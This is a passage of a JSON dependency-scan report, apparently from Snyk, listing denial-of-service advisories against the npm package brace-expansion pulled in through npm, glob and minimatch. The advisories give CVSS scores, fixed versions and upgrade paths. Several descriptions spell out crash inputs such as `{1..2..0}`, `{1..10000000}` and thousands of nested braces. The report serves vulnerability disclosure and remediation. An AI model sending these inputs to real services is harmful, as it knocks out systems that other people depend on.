"Snyk", "severity": "high", "baseScore": 8.7, "cvssVersion": "4.0", "modificationTime": "2026-09-16T14:02:43.227595Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P", "assigner": "Snyk", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-09-16T14:02:43.227595Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "assigner": "Red Hat", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-08-05T05:35:10.598547Z" } ], "description": "## Overview\n[brace-expansion](https://github.com/juliangruber/brace-expansion) is a Brace expansion as known from sh/bash\n\nAffected versions of this package are vulnerable to Allocation of Resources Without Limits or Throttling in the `expand()` function and its recursive `expand_` helper, which cap the number of results via the `max` option but do not bound the length of each result string. An attacker can crash the Node process with a fatal, uncatchable out-of-memory error by supplying a pattern that chains many brace groups, such as `{a,b}` repeated, keeping the result count under `max` while each result grows with the group count so total output scales unbounded. Exploitation requires the application to pass untrusted input to `expand()`, directly or transitively through `minimatch` or `glob` brace patterns.\r\n\r\n## Workaround\r\n\r\nThis vulnerability can be avoided by passing small explicit `max` and `maxLength` options to `expand()`, bounding both the number of results and the length of each so total output stays limited.\n## Remediation\nUpgrade `brace-expansion` to version 1.1.16, 2.1.2, 5.0.8 or higher.\n## References\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/a1bd33999ea75262c4749fff3bbb0d1372bd07b5)\n", "epssDetails": { "percentile": "0.49122", "probability": "0.00643", "modelVersion": "v2026.06.15" }, "identifiers": { "CVE": [ "CVE-2026-14257" ], "CWE": [ "CWE-770" ], "GHSA": [ "GHSA-mh99-v99m-4gvg" ] }, "packageName": "brace-expansion", "proprietary": false, "creationTime": "2026-07-26T09:53:40.727617Z", "functions_new": [], "alternativeIds": [], "disclosureTime": "2026-07-23T15:49:26Z", "exploitDetails": { "sources": [ "Snyk" ], "maturityLevels": [ { "type": "secondary", "level": "Proof of Concept", "format": "CVSSv3" }, { "type": "primary", "level": "Proof of Concept", "format": "CVSSv4" } ] }, "packageManager": "npm", "publicationTime": "2026-07-26T09:53:40.907374Z", "severityBasedOn": "CVSS", "modificationTime": "2026-09-16T14:02:43.227595Z", "socialTrendAlert": false, "severityWithCritical": "high", "from": [ "lib@*", "npm@11.11.0", "@npmcli/metavuln-calculator@9.0.3", "pacote@21.4.0", "@npmcli/run-script@10.0.3", "@npmcli/package-json@7.0.5", "glob@13.0.6", "minimatch@10.2.2", "brace-expansion@5.0.3" ], "upgradePath": [ false, "npm@11.11.0", "@npmcli/metavuln-calculator@9.0.3", "pacote@21.5.1", "@npmcli/run-script@10.0.4", "@npmcli/package-json@7.0.5", "glob@13.0.6", "minimatch@10.2.6", "brace-expansion@5.0.12" ], "isUpgradable": true, "isPatchable": false, "name": "brace-expansion", "version": "5.0.3" }, { "id": "SNYK-JS-BRACEEXPANSION-18512280", "title": "Allocation of Resources Without Limits or Throttling", "CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P", "credit": [ "Alessio Della Libera" ], "semver": { "vulnerable": [ "<1.1.18", ">=2.0.0 <2.1.4", ">=3.0.0 <3.0.6", ">=4.0.0 <5.0.9" ] }, "exploit": "Proof of Concept", "fixedIn": [ "1.1.18", "2.1.4", "3.0.6", "5.0.9" ], "patches": [], "insights": { "triageAdvice": null }, "language": "js", "severity": "high", "cvssScore": 8.7, "functions": [], "malicious": false, "isDisputed": false, "moduleName": "brace-expansion", "references": [ { "url": "https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-rgw5-rvv9-x895", "title": "GitHub Advisory" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/139d015104e71433ad52a41d19467c48ecbb2c7d", "title": "GitHub Commit" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/1e30c930238d7162802d88a94189182def178dac", "title": "GitHub Commit" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/688a99eeaab02627c2b89ba8ba4821fecfa659cf", "title": "GitHub Commit" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/cb4b9e47cc2ec777c14b2b4492fb431a56f6a031", "title": "GitHub Commit" } ], "cvssDetails": [ { "assigner": "Red Hat", "severity": "high", "cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "cvssV3BaseScore": 7.5, "modificationTime": "2026-08-04T05:26:55.391275Z" } ], "cvssSources": [ { "type": "primary", "vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N/E:P", "assigner": "Snyk", "severity": "high", "baseScore": 8.7, "cvssVersion": "4.0", "modificationTime": "2026-09-25T21:42:52.694864Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P", "assigner": "Snyk", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-09-25T21:42:52.694864Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "assigner": "Red Hat", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-08-04T05:26:55.391275Z" } ], "description": "## Overview\n[brace-expansion](https://github.com/juliangruber/brace-expansion) is a Brace expansion as known from sh/bash\n\nAffected versions of this package are vulnerable to Allocation of Resources Without Limits or Throttling in the `expand()`, `expand_()`, `combine()`, and `expandSequence()` functions, which bound the accumulator where results are combined but not the intermediate arrays that feed it. An attacker can crash the process with an uncatchable out-of-memory error, or stall the event loop for minutes, by supplying a pattern with many comma-separated alternatives that each receive an independent `maxLength` allowance and accumulate without a cumulative limit, or a padded sequence whose generation ignores `maxLength` and does work proportional to `max * width`. Exploitation requires the application to pass untrusted input to `expand()`, directly or transitively through a glob or pattern-matching library.\r\n\r\n## Workaround\r\n\r\nThis vulnerability can be avoided by passing an explicitly small `max` together with a small `maxLength` to `expand()`, bounding both the result count and length, since a small `maxLength` alone is insufficient on affected versions where it is applied per alternative rather than cumulatively.\r\n\r\n**Note:** This is a bypass of the fix for the vulnerability described in [CVE-2026-14257](https://security.snyk.io/vuln/SNYK-JS-BRACEEXPANSION-18313044).\n## Remediation\nUpgrade `brace-expansion` to version 1.1.18, 2.1.4, 3.0.6, 5.0.9 or higher.\n## References\n- [GitHub Advisory](https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-rgw5-rvv9-x895)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/139d015104e71433ad52a41d19467c48ecbb2c7d)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/1e30c930238d7162802d88a94189182def178dac)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/688a99eeaab02627c2b89ba8ba4821fecfa659cf)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/cb4b9e47cc2ec777c14b2b4492fb431a56f6a031)\n", "epssDetails": { "percentile": "0.48810", "probability": "0.00647", "modelVersion": "v2026.06.15" }, "identifiers": { "CVE": [ "CVE-2026-69152" ], "CWE": [ "CWE-770" ], "GHSA": [ "GHSA-rgw5-rvv9-x895" ] }, "packageName": "brace-expansion", "proprietary": false, "creationTime": "2026-08-03T18:50:29.684875Z", "functions_new": [], "alternativeIds": [], "disclosureTime": "2026-08-03T16:35:32Z", "exploitDetails": { "sources": [ "Snyk" ], "maturityLevels": [ { "type": "secondary", "level": "Proof of Concept", "format": "CVSSv3" }, { "type": "primary", "level": "Proof of Concept", "format": "CVSSv4" } ] }, "packageManager": "npm", "publicationTime": "2026-08-03T18:50:29.862827Z", "severityBasedOn": "CVSS", "modificationTime": "2026-09-25T21:42:52.694864Z", "socialTrendAlert": false, "severityWithCritical": "high", "from": [ "lib@*", "npm@11.11.0", "@npmcli/metavuln-calculator@9.0.3", "pacote@21.4.0", "@npmcli/run-script@10.0.3", "@npmcli/package-json@7.0.5", "glob@13.0.6", "minimatch@10.2.2", "brace-expansion@5.0.3" ], "upgradePath": [ false, "npm@11.11.0", "@npmcli/metavuln-calculator@9.0.3", "pacote@21.5.1", "@npmcli/run-script@10.0.4", "@npmcli/package-json@7.0.5", "glob@13.0.6", "minimatch@10.2.6", "brace-expansion@5.0.12" ], "isUpgradable": true, "isPatchable": false, "name": "brace-expansion", "version": "5.0.3" }, { "id": "SNYK-JS-BRACEEXPANSION-20244948", "title": "Uncontrolled Recursion", "CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "credit": [ "Gareth Jones", "Jeremy Katz" ], "semver": { "vulnerable": [ "<1.1.20", ">=2.0.0 <2.1.6", ">=3.0.0 <3.0.8", ">=4.0.0 <5.0.11" ] }, "exploit": "Not Defined", "fixedIn": [ "1.1.20", "2.1.6", "3.0.8", "5.0.11" ], "patches": [], "insights": { "triageAdvice": null }, "language": "js", "severity": "high", "cvssScore": 8.7, "functions": [], "malicious": false, "isDisputed": false, "moduleName": "brace-expansion", "references": [ { "url": "https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-qhr7-859c-m2p7", "title": "GitHub Advisory" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/1efee7c397c191da6287a78ec19512476a966a7b", "title": "GitHub Commit" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/935d78f32f335b2ff76578e5c5e877d31ae9888c", "title": "GitHub Commit" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/de84f144e9816f30e25fc8179e2e1249ab6df0db", "title": "GitHub Commit" } ], "cvssDetails": [ { "assigner": "Red Hat", "severity": "medium", "cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H", "cvssV3BaseScore": 6.5, "modificationTime": "2026-10-09T05:49:36.917866Z" } ], "cvssSources": [ { "type": "primary", "vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N", "assigner": "Snyk", "severity": "high", "baseScore": 8.7, "cvssVersion": "4.0", "modificationTime": "2026-10-09T05:49:37.555149Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "assigner": "Snyk", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-10-09T05:49:37.555149Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H", "assigner": "Red Hat", "severity": "medium", "baseScore": 6.5, "cvssVersion": "3.1", "modificationTime": "2026-10-09T05:49:36.917866Z" } ], "description": "## Overview\n[brace-expansion](https://github.com/juliangruber/brace-expansion) is a Brace expansion as known from sh/bash\n\nAffected versions of this package are vulnerable to Uncontrolled Recursion via uncontrolled recursion in `expand_` when processing deeply nested brace patterns. An attacker can supply approximately 6 KB of deeply nested braces (e.g., `{` repeated ~3,200 times followed by `a,b` and the matching `}` characters) to exhaust the native call stack and crash the process with a `RangeError: Maximum call stack size exceeded`. The `max` and `maxLength` bounds do not prevent this because the stack is exhausted during recursive descent into sub-expansions, before the result set grows.\n## Remediation\nUpgrade `brace-expansion` to version 1.1.20, 2.1.6, 3.0.8, 5.0.11 or higher.\n## References\n- [GitHub Advisory](https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-qhr7-859c-m2p7)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/1efee7c397c191da6287a78ec19512476a966a7b)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/935d78f32f335b2ff76578e5c5e877d31ae9888c)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/de84f144e9816f30e25fc8179e2e1249ab6df0db)\n", "epssDetails": { "percentile": "0.26155", "probability": "0.00350", "modelVersion": "v2026.06.15" }, "identifiers": { "CVE": [ "CVE-2026-102278" ], "CWE": [ "CWE-674" ], "GHSA": [ "GHSA-qhr7-859c-m2p7" ] }, "packageName": "brace-expansion", "proprietary": false, "creationTime": "2026-09-29T07:28:47.469361Z", "functions_new": [], "alternativeIds": [], "disclosureTime": "2026-09-28T23:27:22Z", "exploitDetails": { "sources": [], "maturityLevels": [ { "type": "secondary", "level": "Not Defined", "format": "CVSSv3" }, { "type": "primary", "level": "Not Defined", "format": "CVSSv4" } ] }, "packageManager": "npm", "publicationTime": "2026-09-29T07:28:47.672458Z", "severityBasedOn": "CVSS", "modificationTime": "2026-10-09T05:49:37.555149Z", "socialTrendAlert": false, "severityWithCritical": "high", "from": [ "lib@*", "npm@11.11.0", "@npmcli/metavuln-calculator@9.0.3", "pacote@21.4.0", "@npmcli/run-script@10.0.3", "@npmcli/package-json@7.0.5", "glob@13.0.6", "minimatch@10.2.2", "brace-expansion@5.0.3" ], "upgradePath": [ false, "npm@11.11.0", "@npmcli/metavuln-calculator@9.0.3", "pacote@21.5.1", "@npmcli/run-script@10.0.4", "@npmcli/package-json@7.0.5", "glob@13.0.6", "minimatch@10.2.6", "brace-expansion@5.0.12" ], "isUpgradable": true, "isPatchable": false, "name": "brace-expansion", "version": "5.0.3" }, { "id": "SNYK-JS-BRACEEXPANSION-20244952", "title": "Uncontrolled Recursion", "CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P", "credit": [ "baeseungwon1010", "Jeremy Katz" ], "semver": { "vulnerable": [ "<1.1.19", ">=2.0.0 <2.1.5", ">=3.0.0 <3.0.7", ">=4.0.0 <5.0.10" ] }, "exploit": "Proof of Concept", "fixedIn": [ "1.1.19", "2.1.5", "3.0.7", "5.0.10" ], "patches": [], "insights": { "triageAdvice": null }, "language": "js", "severity": "high", "cvssScore": 8.7, "functions": [], "malicious": false, "isDisputed": false, "moduleName": "brace-expansion", "references": [ { "url": "https://github.com/juliangruber/brace-expansion/commit/0bcbfc0a5928c3073d48f42999d1ce4fc1c42fbc", "title": "GitHub Commit" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/316359e6019c39b3254c8ba8e25dc586a480652c", "title": "GitHub Commit" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/5171e681c0922b7ae8bfaf9a331e309107be6edc", "title": "GitHub Commit" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/6735c94873ca570bcdd6a0690033bdd3126379d3", "title": "GitHub Commit" }, { "url": "https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-6j4f-fj2g-mc7p", "title": "Maintainer's Advisory" } ], "cvssDetails": [ { "assigner": "Red Hat", "severity": "high", "cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "cvssV3BaseScore": 7.5, "modificationTime": "2026-09-29T05:44:15.508690Z" } ], "cvssSources": [ { "type": "primary", "vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N/E:P", "assigner": "Snyk", "severity": "high", "baseScore": 8.7, "cvssVersion": "4.0", "modificationTime": "2026-09-29T19:40:12.310972Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P", "assigner": "Snyk", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-09-29T19:40:12.310972Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "assigner": "Red Hat", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-09-29T05:44:15.508690Z" } ], "description": "## Overview\n[brace-expansion](https://github.com/juliangruber/brace-expansion) is a Brace expansion as known from sh/bash\n\nAffected versions of this package are vulnerable to Uncontrolled Recursion via two distinct stack-exhaustion paths in `parseCommaParts`. In the first, the function recurses on the remainder of the string once per brace group, so a chain of approximately 7,000 groups (~29 KB of input) exhausts the native call stack and throws a `RangeError`. In the second, `push.apply` passes one argument per element, meaning a single large comma-separated array inside a brace group overflows the stack at a recursion depth of exactly one, requiring roughly 125,000 comma-separated elements. Neither the `max` nor `maxLength` options can bound either path because the crash occurs during parsing, before any expansion takes place.\n## Remediation\nUpgrade `brace-expansion` to version 1.1.19, 2.1.5, 3.0.7, 5.0.10 or higher.\n## References\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/0bcbfc0a5928c3073d48f42999d1ce4fc1c42fbc)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/316359e6019c39b3254c8ba8e25dc586a480652c)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/5171e681c0922b7ae8bfaf9a331e309107be6edc)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/6735c94873ca570bcdd6a0690033bdd3126379d3)\n- [Maintainer's Advisory](https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-6j4f-fj2g-mc7p)\n", "epssDetails": { "percentile": "0.26155", "probability": "0.00350", "modelVersion": "v2026.06.15" }, "identifiers": { "CVE": [ "CVE-2026-102276" ], "CWE": [ "CWE-674" ], "GHSA": [ "GHSA-6j4f-fj2g-mc7p" ] }, "packageName": "brace-expansion", "proprietary": false, "creationTime": "2026-09-29T07:36:51.075985Z", "functions_new": [], "alternativeIds": [], "disclosureTime": "2026-09-28T23:27:21Z", "exploitDetails": { "sources": [ "Snyk" ], "maturityLevels": [ { "type": "secondary", "level": "Proof of Concept", "format": "CVSSv3" }, { "type": "primary", "level": "Proof of Concept", "format": "CVSSv4" } ] }, "packageManager": "npm", "publicationTime": "2026-09-29T07:36:51.235635Z", "severityBasedOn": "CVSS", "modificationTime": "2026-09-29T19:40:12.310972Z", "socialTrendAlert": false, "severityWithCritical": "high", "from": [ "lib@*", "npm@11.11.0", "@npmcli/metavuln-calculator@9.0.3", "pacote@21.4.0", "@npmcli/run-script@10.0.3", "@npmcli/package-json@7.0.5", "glob@13.0.6", "minimatch@10.2.2", "brace-expansion@5.0.3" ], "upgradePath": [ false, "npm@11.11.0", "@npmcli/metavuln-calculator@9.0.3", "pacote@21.5.1", "@npmcli/run-script@10.0.4", "@npmcli/package-json@7.0.5", "glob@13.0.6", "minimatch@10.2.6", "brace-expansion@5.0.12" ], "isUpgradable": true, "isPatchable": false, "name": "brace-expansion", "version": "5.0.3" }, { "id": "SNYK-JS-BRACEEXPANSION-15789759", "title": "Infinite loop", "CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "credit": [ "Subhash Dasyam" ], "semver": { "vulnerable": [ "<1.1.13", ">=2.0.0 <2.0.3", ">=3.0.0 <3.0.2", ">=4.0.0 <5.0.5" ] }, "exploit": "Not Defined", "fixedIn": [ "1.1.13", "2.0.3", "3.0.2", "5.0.5" ], "patches": [], "insights": { "triageAdvice": null }, "language": "js", "severity": "high", "cvssScore": 8.7, "functions": [], "malicious": false, "isDisputed": false, "moduleName": "brace-expansion", "references": [ { "url": "https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-f886-m6hf-6m8v", "title": "GitHub Advisory" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/311ac0d54994158c0a384e286a7d6cbb17ee8ed5", "title": "GitHub Commit" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/7fd684f89fdde3549563d0a6522226a9189472a2", "title": "GitHub Commit" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/9a02af5c5c80731fae470cc3218c16876bb25051", "title": "GitHub Commit" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/b9cacd9e55e7a1fa588fe4b7bb1159d52f1d902a", "title": "GitHub Commit" }, { "url": "https://github.com/juliangruber/brace-expansion/blob/daa71bcb4a30a2df9bcb7f7b8daaf2ab30e5794a/src/index.ts%23L107-L113", "title": "Vulnerable Code" }, { "url": "https://github.com/juliangruber/brace-expansion/blob/daa71bcb4a30a2df9bcb7f7b8daaf2ab30e5794a/src/index.ts%23L184", "title": "Vulnerable Code" } ], "cvssDetails": [ { "assigner": "Red Hat", "severity": "medium", "cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H", "cvssV3BaseScore": 6.5, "modificationTime": "2026-04-03T12:57:19.951777Z" }, { "assigner": "NVD", "severity": "high", "cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "cvssV3BaseScore": 7.5, "modificationTime": "2026-04-22T17:49:48.167901Z" } ], "cvssSources": [ { "type": "primary", "vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N", "assigner": "Snyk", "severity": "high", "baseScore": 8.7, "cvssVersion": "4.0", "modificationTime": "2026-09-25T02:01:42.918000Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "assigner": "Snyk", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-09-25T02:01:42.918000Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H", "assigner": "Red Hat", "severity": "medium", "baseScore": 6.5, "cvssVersion": "3.1", "modificationTime": "2026-04-03T12:57:19.951777Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "assigner": "NVD", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-04-22T17:49:48.167901Z" } ], "description": "## Overview\n[brace-expansion](https://github.com/juliangruber/brace-expansion) is a Brace expansion as known from sh/bash\n\nAffected versions of this package are vulnerable to Infinite loop through the `expand` function when processing a brace pattern with a zero step value. An attacker can cause the process to hang and exhaust system memory by supplying specially crafted input, such as `{1..2..0}`. This can lead to significant resource consumption and denial of service. \r\n\r\n## Workaround \r\n\r\nThis vulnerability can be mitigated by sanitizing strings passed to `expand` to ensure a step value of `0` is not used.\n## Remediation\nUpgrade `brace-expansion` to version 1.1.13, 2.0.3, 3.0.2, 5.0.5 or higher.\n## References\n- [GitHub Advisory](https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-f886-m6hf-6m8v)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/311ac0d54994158c0a384e286a7d6cbb17ee8ed5)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/7fd684f89fdde3549563d0a6522226a9189472a2)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/9a02af5c5c80731fae470cc3218c16876bb25051)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/b9cacd9e55e7a1fa588fe4b7bb1159d52f1d902a)\n- [Vulnerable Code](https://github.com/juliangruber/brace-expansion/blob/daa71bcb4a30a2df9bcb7f7b8daaf2ab30e5794a/src/index.ts#L107-L113)\n- [Vulnerable Code](https://github.com/juliangruber/brace-expansion/blob/daa71bcb4a30a2df9bcb7f7b8daaf2ab30e5794a/src/index.ts#L184)\n", "epssDetails": { "percentile": "0.47050", "probability": "0.00613", "modelVersion": "v2026.06.15" }, "identifiers": { "CVE": [ "CVE-2026-33750" ], "CWE": [ "CWE-835" ], "GHSA": [ "GHSA-f886-m6hf-6m8v" ] }, "packageName": "brace-expansion", "proprietary": false, "creationTime": "2026-03-27T07:45:56.244707Z", "functions_new": [], "alternativeIds": [], "disclosureTime": "2026-03-26T18:29:42Z", "exploitDetails": { "sources": [], "maturityLevels": [ { "type": "secondary", "level": "Not Defined", "format": "CVSSv3" }, { "type": "primary", "level": "Not Defined", "format": "CVSSv4" } ] }, "packageManager": "npm", "publicationTime": "2026-03-27T07:45:56.429154Z", "severityBasedOn": "CVSS", "modificationTime": "2026-09-25T02:01:42.918000Z", "socialTrendAlert": false, "severityWithCritical": "high", "from": [ "lib@*", "npm@11.11.0", "@npmcli/arborist@9.4.0", "pacote@21.4.0", "@npmcli/run-script@10.0.3", "@npmcli/package-json@7.0.5", "glob@13.0.6", "minimatch@10.2.2", "brace-expansion@5.0.3" ], "upgradePath": [ false, "npm@11.11.0", "@npmcli/arborist@9.9.3", "pacote@21.5.1", "@npmcli/run-script@10.0.4", "@npmcli/package-json@7.0.5", "glob@13.0.6", "minimatch@10.2.6", "brace-expansion@5.0.12" ], "isUpgradable": true, "isPatchable": false, "name": "brace-expansion", "version": "5.0.3" }, { "id": "SNYK-JS-BRACEEXPANSION-16755174", "title": "Allocation of Resources Without Limits or Throttling", "CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "credit": [ "Subhash Dasyam" ], "semver": { "vulnerable": [ ">=5.0.2 <5.0.6" ] }, "exploit": "Not Defined", "fixedIn": [ "5.0.6" ], "patches": [], "insights": { "triageAdvice": null }, "language": "js", "severity": "high", "cvssScore": 8.7, "functions": [], "malicious": false, "isDisputed": false, "moduleName": "brace-expansion", "references": [ { "url": "https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-jxxr-4gwj-5jf2", "title": "GitHub Advisory" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/c0b095bdc52bc4c36dc88deddbadabc49f8371e5", "title": "GitHub Commit" } ], "cvssDetails": [ { "assigner": "Red Hat", "severity": "medium", "cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H", "cvssV3BaseScore": 6.5, "modificationTime": "2026-06-17T06:25:12.562488Z" }, { "assigner": "NVD", "severity": "high", "cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "cvssV3BaseScore": 7.5, "modificationTime": "2026-06-04T01:21:30.391276Z" } ], "cvssSources": [ { "type": "primary", "vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N", "assigner": "Snyk", "severity": "high", "baseScore": 8.7, "cvssVersion": "4.0", "modificationTime": "2026-09-25T02:01:42.918521Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "assigner": "Snyk", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-09-25T02:01:42.918521Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H", "assigner": "Red Hat", "severity": "medium", "baseScore": 6.5, "cvssVersion": "3.1", "modificationTime": "2026-06-17T06:25:12.562488Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "assigner": "NVD", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-06-04T01:21:30.391276Z" } ], "description": "## Overview\n[brace-expansion](https://github.com/juliangruber/brace-expansion) is a Brace expansion as known from sh/bash\n\nAffected versions of this package are vulnerable to Allocation of Resources Without Limits or Throttling through the `max` option being applied after generating all elements in a large numeric range. An attacker can exhaust system memory and processing resources by submitting input such as `{1..10000000}` that causes excessive allocation and computation before the output is limited.\r\n\r\n## Workaround \r\n\r\nThis vulnerability can be mitigated by ensuring the string to be expanded does not contain more values than the desired `max` item count.\n## Remediation\nUpgrade `brace-expansion` to version 5.0.6 or higher.\n## References\n- [GitHub Advisory](https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-jxxr-4gwj-5jf2)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/c0b095bdc52bc4c36dc88deddbadabc49f8371e5)\n", "epssDetails": { "percentile": "0.26429", "probability": "0.00355", "modelVersion": "v2026.06.15" }, "identifiers": { "CVE": [ "CVE-2026-45149" ], "CWE": [ "CWE-770" ], "GHSA": [ "GHSA-jxxr-4gwj-5jf2" ] }, "packageName": "brace-expansion", "proprietary": false, "creationTime": "2026-05-19T09:10:10.822382Z", "functions_new": [], "alternativeIds": [], "disclosureTime": "2026-05-18T16:22:01Z", "exploitDetails": { "sources": [], "maturityLevels": [ { "type": "secondary", "level": "Not Defined", "format": "CVSSv3" }, { "type": "primary", "level": "Not Defined", "format": "CVSSv4" } ] }, "packageManager": "npm", "publicationTime": "2026-05-19T09:10:11.009629Z", "severityBasedOn": "CVSS", "modificationTime": "2026-09-25T02:01:42.918521Z", "socialTrendAlert": false, "severityWithCritical": "high", "from": [ "lib@*", "npm@11.11.0", "@npmcli/arborist@9.4.0", "pacote@21.4.0", "@npmcli/run-script@10.0.3", "@npmcli/package-json@7.0.5", "glob@13.0.6", "minimatch@10.2.2", "brace-expansion@5.0.3" ], "upgradePath": [ false, "npm@11.11.0", "@npmcli/arborist@9.9.3", "pacote@21.5.1", "@npmcli/run-script@10.0.4", "@npmcli/package-json@7.0.5", "glob@13.0.6", "minimatch@10.2.6", "brace-expansion@5.0.12" ], "isUpgradable": true, "isPatchable": false, "name": "brace-expansion", "version": "5.0.3" }, { "id": "SNYK-JS-BRACEEXPANSION-17706650", "title": "Inefficient Algorithmic Complexity", "CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "credit": [ "Unknown" ], "semver": { "vulnerable": [ "<1.1.16", ">=2.0.0 <2.1.2", ">=3.0.0 <5.0.7" ] }, "exploit": "Not Defined", "fixedIn": [ "1.1.16", "2.1.2", "5.0.7" ], "patches": [], "insights": { "triageAdvice": null }, "language": "js", "severity": "high", "cvssScore": 8.7, "functions": [], "malicious": false, "isDisputed": false, "moduleName": "brace-expansion", "references": [ { "url": 